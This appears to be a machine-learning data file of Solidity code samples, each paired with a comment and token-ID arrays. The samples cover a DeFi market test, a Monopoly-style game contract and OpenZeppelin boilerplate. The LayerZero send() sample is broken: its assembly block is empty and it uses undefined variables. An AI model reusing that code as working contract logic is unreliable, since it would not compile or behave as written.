Let's tweak the indexes away from defaults so we can verify that re-supporting does not change them. end of lengthy setup
function testSupportMarket_Suspended() public { address asset = nextAddress(); admin = msg.sender; assertNoError(Error(_setAssetPrice(asset, 500))); assertNoError(Error(_supportMarket(asset, InterestRateModel(asset)))); Assert.equal(markets[asset].isSupported, true, "market is supported"); markets[asset].supplyIndex = 5; markets[asset].borrowIndex = 6; assertNoError(Error(_suspendMarket(asset))); Assert.equal(markets[asset].isSupported, false, "market is suspended"); assertNoError(Error(_supportMarket(asset, InterestRateModel(asset)))); Assert.equal(markets[asset].isSupported, true, "supported again"); Assert.equal(markets[asset].interestRateModel, asset, "should still have interest rate model"); Assert.equal(markets[asset].supplyIndex, 5, "supply index unchanged"); Assert.equal(markets[asset].borrowIndex, 6, "borrow index unchanged"); }
2,490,806
[ 1, 24181, 1807, 21279, 326, 5596, 10804, 628, 3467, 1427, 732, 848, 3929, 716, 283, 17, 13261, 310, 1552, 486, 2549, 2182, 18, 679, 434, 769, 93, 3875, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1842, 6289, 3882, 278, 67, 55, 22942, 1435, 1071, 288, 203, 203, 3639, 1758, 3310, 273, 1024, 1887, 5621, 203, 203, 3639, 3981, 273, 1234, 18, 15330, 31, 203, 3639, 1815, 2279, 668, 12, 668, 24899, 542, 6672, 5147, 12, 9406, 16, 6604, 3719, 1769, 203, 203, 3639, 1815, 2279, 668, 12, 668, 24899, 13261, 3882, 278, 12, 9406, 16, 5294, 395, 4727, 1488, 12, 9406, 3719, 10019, 203, 3639, 5452, 18, 9729, 12, 3355, 2413, 63, 9406, 8009, 291, 7223, 16, 638, 16, 315, 27151, 353, 3260, 8863, 203, 203, 3639, 2267, 2413, 63, 9406, 8009, 2859, 1283, 1016, 273, 1381, 31, 203, 3639, 2267, 2413, 63, 9406, 8009, 70, 15318, 1016, 273, 1666, 31, 203, 203, 3639, 1815, 2279, 668, 12, 668, 24899, 87, 18815, 3882, 278, 12, 9406, 3719, 1769, 203, 3639, 5452, 18, 9729, 12, 3355, 2413, 63, 9406, 8009, 291, 7223, 16, 629, 16, 315, 27151, 353, 21850, 8863, 203, 203, 3639, 1815, 2279, 668, 12, 668, 24899, 13261, 3882, 278, 12, 9406, 16, 5294, 395, 4727, 1488, 12, 9406, 3719, 10019, 203, 203, 3639, 5452, 18, 9729, 12, 3355, 2413, 63, 9406, 8009, 291, 7223, 16, 638, 16, 315, 4127, 3382, 8863, 203, 3639, 5452, 18, 9729, 12, 3355, 2413, 63, 9406, 8009, 2761, 395, 4727, 1488, 16, 3310, 16, 315, 13139, 4859, 1240, 16513, 4993, 938, 8863, 203, 3639, 5452, 18, 9729, 12, 3355, 2413, 63, 9406, 8009, 2859, 1283, 1016, 16, 1381, 16, 315, 2859, 1283, 770, 14827, 8863, 203, 3639, 5452, 18, 9729, 2 ]
./full_match/1/0xE1a0D9FBf0A28Ee0F9663988ab91c445B3996447/sources/contracts/DarkEther.sol
AAVE Lending Pool Addresses Provider
ILendingPoolAddressesProvider lendingPoolAddressesProvider;
3,116,302
[ 1, 5284, 3412, 511, 2846, 8828, 23443, 7561, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 467, 48, 2846, 2864, 7148, 2249, 328, 2846, 2864, 7148, 2249, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xbE4fB271cfB7bcbB47EA9573321c7bfe309fc220/sources/contracts/UltraLightNodeV2Radar.sol
code block for solving 'Stack Too Deep' path = remoteAddress + localAddress
function send(address _ua, uint64, uint16 _dstChainId, bytes calldata _path, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable override onlyEndpoint { require(_ua == dappRadar, "LayerZero: only dappRadar"); require(!decommissioned, "LayerZero: decommissioned"); address ua = _ua; uint16 dstChainId = _dstChainId; require(ulnLookup[dstChainId] != bytes32(0), "LayerZero: dstChainId does not exist"); bytes memory dstAddress; uint64 nonce; { uint chainAddressSize = chainAddressSizeMap[dstChainId]; require(chainAddressSize != 0 && _path.length == 20 + chainAddressSize, "LayerZero: incorrect remote address size"); address srcInPath; assembly { } require(ua == srcInPath, "LayerZero: wrong path data"); dstAddress = _path[0:chainAddressSize]; nonce = nonceContract.increment(dstChainId, ua, path); } bytes memory payload = _payload; ApplicationConfiguration memory uaConfig = _getAppConfig(dstChainId, ua); uint oracleFee = _handleOracle(dstChainId, uaConfig, ua); uint nativeProtocolFee = _handleProtocolFee(relayerFee, oracleFee, ua, _zroPaymentAddress); if (amount > 0) { require(success, "LayerZero: failed to refund"); } emit Packet(encodedPayload); }
17,124,987
[ 1, 710, 1203, 364, 3704, 6282, 296, 2624, 15869, 17084, 11, 589, 273, 27909, 397, 1191, 1887, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1366, 12, 2867, 389, 11886, 16, 2254, 1105, 16, 2254, 2313, 389, 11057, 3893, 548, 16, 1731, 745, 892, 389, 803, 16, 1731, 745, 892, 389, 7648, 16, 1758, 8843, 429, 389, 1734, 1074, 1887, 16, 1758, 389, 94, 303, 6032, 1887, 16, 1731, 745, 892, 389, 10204, 1370, 13, 3903, 8843, 429, 3849, 1338, 3293, 288, 203, 3639, 2583, 24899, 11886, 422, 302, 2910, 6621, 297, 16, 315, 4576, 7170, 30, 1338, 302, 2910, 6621, 297, 8863, 203, 3639, 2583, 12, 5, 323, 832, 3951, 329, 16, 315, 4576, 7170, 30, 9862, 3951, 329, 8863, 203, 203, 3639, 1758, 10165, 273, 389, 11886, 31, 203, 3639, 2254, 2313, 3046, 3893, 548, 273, 389, 11057, 3893, 548, 31, 203, 3639, 2583, 12, 332, 82, 6609, 63, 11057, 3893, 548, 65, 480, 1731, 1578, 12, 20, 3631, 315, 4576, 7170, 30, 3046, 3893, 548, 1552, 486, 1005, 8863, 203, 203, 3639, 1731, 3778, 3046, 1887, 31, 203, 3639, 2254, 1105, 7448, 31, 203, 3639, 288, 203, 5411, 2254, 2687, 1887, 1225, 273, 2687, 1887, 1225, 863, 63, 11057, 3893, 548, 15533, 203, 5411, 2583, 12, 5639, 1887, 1225, 480, 374, 597, 389, 803, 18, 2469, 422, 4200, 397, 2687, 1887, 1225, 16, 315, 4576, 7170, 30, 11332, 2632, 1758, 963, 8863, 203, 5411, 1758, 1705, 382, 743, 31, 203, 5411, 19931, 288, 203, 5411, 289, 203, 5411, 2583, 12, 11886, 422, 1705, 382, 743, 16, 315, 4576, 7170, 30, 7194, 589, 501, 8863, 203, 5411, 3046, 1887, 273, 389, 803, 63, 20, 30, 2 ]
pragma solidity >=0.7.6; //SPDX-License-Identifier: MIT import {DiceRoll} from "./DiceRoll.sol"; contract MetablocksJoseph { address private owner; DiceRoll private diceRollPlugin; string[] private avatars; // uint public gmyPosition; // Event Definitions event PlayerJoined( address indexed playerAddress, string gameName, string avatar, string message ); // Event Definitions event PlayerStartedTurn( address indexed playerAddress, string gameName, uint8 newPosition, string message ); constructor(address diceRollContract) { owner = msg.sender; diceRollPlugin = DiceRoll(diceRollContract); // Create land createLand(1, "Mayfair", 80); createLand(3, "Adelaide", 80); createLand(4, "City Grill", 150); createLand(5, "VLINE", 98); createLand(6, "Melbourne", 200); createLand(8, "Mildura", 200); // Create available avatars avatars.push("LedgerNano"); avatars.push("BTCCoin"); avatars.push("BowTie"); avatars.push("Ghost"); // Step 1: Create player who wants to host game createPlayer("jrocco2"); // Step 2: Create game createGame("JoesGame", 2); } // ----- PLAYERS ENTITY ----- struct Player { string username; address playerAddress; uint256 balance; uint8 positionOnBoard; address gameHostAddress; string avatar; } function createPlayer(string memory username) public { Player memory myPlayer; myPlayer.username = username; myPlayer.playerAddress = msg.sender; playerMapping[msg.sender] = myPlayer; } function setupPlayer(string memory gameName) private { // Setup player //playerMapping[msg.sender] is a Player playerMapping[msg.sender].gameHostAddress = hostMapping[gameName]; playerMapping[msg.sender].positionOnBoard = 0; // Monoply Rule: Each player is given $1500 playerMapping[msg.sender].balance = 1500; playerMapping[msg.sender].avatar = avatars[ gameMapping[playerMapping[msg.sender].gameHostAddress] .players .length - 1 ]; } mapping(address => Player) public playerMapping; // ----- GAME ENTITY ----- struct Game { string name; int256 timePerMove; bool hasStarted; address creatorAddress; address[] players; Player currentPlayer; } // mapping this way means one player can only host one game // and therefore must remove their game in order to create another mapping(address => Game) private gameMapping; mapping(string => address) private hostMapping; function createGame(string memory name, int256 timePerMove) public { require( playerMapping[msg.sender].playerAddress == msg.sender, "You have to create your player before you can create a game" ); Game memory myGame; myGame.name = name; myGame.timePerMove = timePerMove; myGame.hasStarted = false; myGame.creatorAddress = msg.sender; gameMapping[msg.sender] = myGame; gameMapping[msg.sender].players.push(msg.sender); hostMapping[name] = msg.sender; setupPlayer(name); emit PlayerJoined( msg.sender, name, playerMapping[msg.sender].avatar, "Let's play Metablocks" ); } function joinGame(string memory name) public { require(hostMapping[name] != address(0), "Invalid name"); require( hostMapping[name] != playerMapping[msg.sender].gameHostAddress, "You have already joined this game" ); // Monoply Rule: There is usually 8 players in a game (but works with more) require( gameMapping[hostMapping[name]].players.length < 8, "This game has reached the maximum number of players" ); require( gameMapping[hostMapping[name]].hasStarted == false, "The game has already started" ); require( playerMapping[msg.sender].playerAddress == msg.sender, "You have to create your player before you can join a game" ); gameMapping[hostMapping[name]].players.push(msg.sender); setupPlayer(name); emit PlayerJoined( msg.sender, name, playerMapping[msg.sender].avatar, "Let's do it" ); } function startGame() public { // require(gameMapping[hostMapping[name]].creatorAddress == msg.sender,"Only the host can start the game they have created"); require( gameMapping[msg.sender].creatorAddress != address(0), "You are not hosting any games" ); require( gameMapping[msg.sender].players.length >= 2, "Not enough players" ); gameMapping[msg.sender].hasStarted = true; //TODO: DO VRF HERE TO CHOOSE WHO PLAYS FIRST, atm it's fifo gameMapping[msg.sender].currentPlayer = playerMapping[ gameMapping[msg.sender].players[0] ]; // AND ROLL DICE FOR PLAYER diceRollPlugin.rollDice(); } function debugForceMoveBaseGame() external { // require(gameMapping[hostMapping[name]].creatorAddress == msg.sender,"Only the host can start the game they have created"); gameMapping[msg.sender].hasStarted = true; //TODO: DO VRF HERE TO CHOOSE WHO PLAYS FIRST, atm it's fifo gameMapping[msg.sender].currentPlayer = playerMapping[ gameMapping[msg.sender].players[0] ]; playerMapping[msg.sender].positionOnBoard++; emit PlayerStartedTurn( msg.sender, gameMapping[playerMapping[msg.sender].gameHostAddress].name, playerMapping[msg.sender].positionOnBoard, // playerMapping[msg.sender].username string(abi.encodePacked(playerMapping[msg.sender].username, " rolls ", uint2str(diceRollPlugin.getMostRecentRoll()))) ); } function endGame() public { require( gameMapping[msg.sender].creatorAddress != address(0), "You are not hosting any games" ); gameMapping[msg.sender].hasStarted = false; } function removeGame(string memory name) private { require( gameMapping[hostMapping[name]].creatorAddress == msg.sender || owner == msg.sender, "Only the host can remove the game they have created" ); delete gameMapping[hostMapping[name]]; delete hostMapping[name]; } function showMeMyGame() public view returns ( string memory, int256, address, address[] memory ) { Game memory myGame = gameMapping[msg.sender]; return ( myGame.name, myGame.timePerMove, myGame.creatorAddress, myGame.players ); } // ----- GAME FUNCTIONALITY ----- function rollDice() public { require( playerMapping[msg.sender].gameHostAddress != address(0), "Player has not joined a game" ); // VRF rollDice then...... // playerMapping[msg.sender].positionOnBoard += diceRoll; // NEXT PLAYERS TURN } function pickUpCard() public { require( playerMapping[msg.sender].gameHostAddress != address(0), "Player has not joined a game" ); // Pick up card and do some function based on card } function getRollStartTurn() public { require( playerMapping[msg.sender].gameHostAddress != address(0), "Player has not joined a game" ); require( gameMapping[playerMapping[msg.sender].gameHostAddress] .currentPlayer .playerAddress == msg.sender, "It's not your turn" ); playerMapping[msg.sender].positionOnBoard = calculateGameTile( playerMapping[msg.sender].positionOnBoard, diceRollPlugin.getMostRecentRoll() ); emit PlayerStartedTurn( msg.sender, gameMapping[playerMapping[msg.sender].gameHostAddress].name, playerMapping[msg.sender].positionOnBoard, // playerMapping[msg.sender].username string(abi.encodePacked(playerMapping[msg.sender].username, " rolls ", uint2str(diceRollPlugin.getMostRecentRoll()))) ); } function endTurn() public { require( playerMapping[msg.sender].gameHostAddress != address(0), "Player has not joined a game" ); require( gameMapping[playerMapping[msg.sender].gameHostAddress] .currentPlayer .playerAddress == msg.sender, "It's not your turn" ); Player memory next = playerMapping[ calculateNextPlayer( gameMapping[playerMapping[msg.sender].gameHostAddress], gameMapping[playerMapping[msg.sender].gameHostAddress] .currentPlayer .playerAddress ) ]; gameMapping[playerMapping[msg.sender].gameHostAddress] .currentPlayer = next; diceRollPlugin.rollDice(); } function getCurrentPlayerAddress() external view returns (address currentPlayAddr) { return gameMapping[playerMapping[msg.sender].gameHostAddress] .currentPlayer .playerAddress; } function getMyPosition() external view returns (uint8 myPosition) { return uint8(playerMapping[msg.sender].positionOnBoard); } function calculateGameTile(uint8 currentPosition, uint8 diceRoll) private returns (uint8) { return (currentPosition + diceRoll) % 40; } function calculateNextPlayer(Game storage _game, address currentPlayerAddr) private returns (address) { for (uint8 index = 0; index < _game.players.length; index++) { if (_game.players[index] == currentPlayerAddr) { if (index == _game.players.length - 1) { return _game.players[0]; } else { return _game.players[index + 1]; } } } return _game.players[0]; } function buyLand() public {} function swapLand() public {} function payDebt() public {} // ----- LAND ENTITY ----- struct Land { int32 landTileId; string name; int256 value; address ownerAddress; } mapping(int32 => Land) public landMapping; int32[] public landList; // The order of the list is the order of Land on the Monopoly board function createLand( int32 _landTileId, string memory landName, int256 landValue ) private { landMapping[_landTileId] = Land( _landTileId, landName, landValue, owner ); landList.push(_landTileId); } function getLand(int32 _landTileId) public view returns ( int32, string memory, int256 ) { return ( landMapping[_landTileId].landTileId, landMapping[_landTileId].name, landMapping[_landTileId].value ); } // ----------------HELPER--------------- function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } }
Pick up card and do some function based on card
function pickUpCard() public { require( playerMapping[msg.sender].gameHostAddress != address(0), "Player has not joined a game" ); }
15,793,420
[ 1, 17968, 731, 5270, 471, 741, 2690, 445, 2511, 603, 5270, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6002, 1211, 6415, 1435, 1071, 288, 203, 3639, 2583, 12, 203, 5411, 7291, 3233, 63, 3576, 18, 15330, 8009, 13957, 2594, 1887, 480, 1758, 12, 20, 3631, 203, 5411, 315, 12148, 711, 486, 12114, 279, 7920, 6, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return 